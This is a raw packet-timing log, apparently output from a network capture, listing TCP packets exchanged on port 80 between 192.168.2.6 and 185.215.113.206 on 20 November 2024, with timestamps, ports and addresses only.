Nov 20, 2024 18:57:21.749645948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.749705076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.749795914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.749874115 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.750616074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.750739098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.750782013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.750830889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.751498938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.751514912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.751547098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.751563072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.782013893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.782075882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.782274008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.782285929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.782299042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.782335997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.782371998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.783360004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.783373117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.783416033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.784384966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.784477949 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.784548044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.784593105 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.836944103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.836980104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.837009907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.837029934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.837419033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.837573051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.837619066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.838435888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.838515043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.838520050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.838619947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.839344978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.839392900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.839432955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.839474916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.840368032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.840423107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.840461969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.840512991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.841346979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.841388941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.841430902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.842266083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.842333078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.842381954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.842443943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.843264103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.843319893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.843358040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.843449116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.844254971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.844304085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.844386101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.844430923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.845217943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.845268965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.845449924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.845495939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.874172926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.874238014 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.874335051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.874397993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.874466896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.874515057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.874526978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.874568939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.875323057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.875392914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.875446081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.875494003 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.876312017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.876377106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.876385927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.876414061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.876991987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.877037048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.877139091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.877182961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.877963066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.878005981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.878012896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.878052950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.879076004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.879148006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.879196882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.879245043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.879899025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.879945040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.879978895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.880019903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.880861998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.880927086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.880975962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.881021023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.881824970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.881902933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.881934881 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.881987095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.882816076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.882863998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.882920980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.883002043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.883780003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.883835077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.883888960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.883934021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.884879112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.884922981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.884974957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.885027885 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.885751963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.885797024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.886023998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.886070967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.887329102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.887356997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.887387037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.887403011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.887705088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.887754917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.887818098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.887865067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.888673067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.888731003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.888732910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.888829947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.889672995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.889734030 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.889880896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.889924049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.890609980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.890664101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.890707970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.890760899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.891599894 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.891640902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.891706944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.891829967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.892590046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.892605066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.892654896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.925028086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.925055027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.925091028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.925116062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.925494909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.925549030 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.925614119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.925681114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.926539898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.926625967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.926662922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.926707983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.927453041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.927510977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.927592993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.927640915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.928423882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.928484917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.928545952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.928647041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.929719925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.929747105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.929795027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.930435896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.930484056 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.930557966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.930609941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.931376934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.931436062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.931529045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.931575060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.932352066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.932404041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.932430983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.932478905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.933336973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.933398962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.933434010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.933574915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.934350014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.934406996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.934449911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.934495926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.935266018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.935363054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.935411930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.936237097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.936289072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.936348915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.936408043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.937190056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.937299013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.937315941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.937349081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.938173056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.938235998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.938267946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.938325882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.939182043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.939232111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.939322948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.939380884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.940200090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.940254927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.940355062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.940404892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.941152096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.941206932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.941406965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.941473961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.942089081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.942150116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.942225933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.942271948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.943027973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.943074942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.943113089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.943228960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.974117994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.974208117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.974217892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.974262953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.974597931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.975104094 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.975135088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.975148916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.975563049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.975780010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.975853920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.976533890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.977546930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.029055119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.029128075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.029141903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.029172897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.029474020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.029582977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.029588938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.029685020 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.030237913 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.030317068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.030356884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.030433893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.031219006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.031275988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.031321049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.031445026 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.032195091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.032244921 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.032278061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.032326937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.033211946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.033294916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.033298016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.033351898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.034153938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.034220934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.034313917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.034427881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.035187960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.035345078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.035356045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.035389900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.036118031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.036201000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.036242008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.036312103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.037094116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.037161112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.037240028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.037293911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.038045883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.038100004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.066313982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.066411018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.066414118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.066565990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.066704035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.066766024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.066899061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.066966057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.066993952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.067044020 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.067874908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.067943096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.067955971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.068001986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.068849087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.068994999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.069050074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.069097042 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.069873095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.069928885 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.070019960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.070321083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.070817947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.070902109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.070940971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.071006060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.071779966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.071877003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.071902990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.071918011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.072788000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.072839022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.072887897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.072935104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.073750973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.073810101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.073856115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.073904037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.074711084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.074795008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.074795961 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.074851036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.075701952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.075763941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.075797081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.075845003 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.076661110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.076775074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.076778889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.076833010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.077703953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.077758074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.077775002 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.077801943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.078613997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.078839064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.078895092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.079608917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.079667091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.079699039 CET	80	49715	185.215.113.206	192.168.2.6
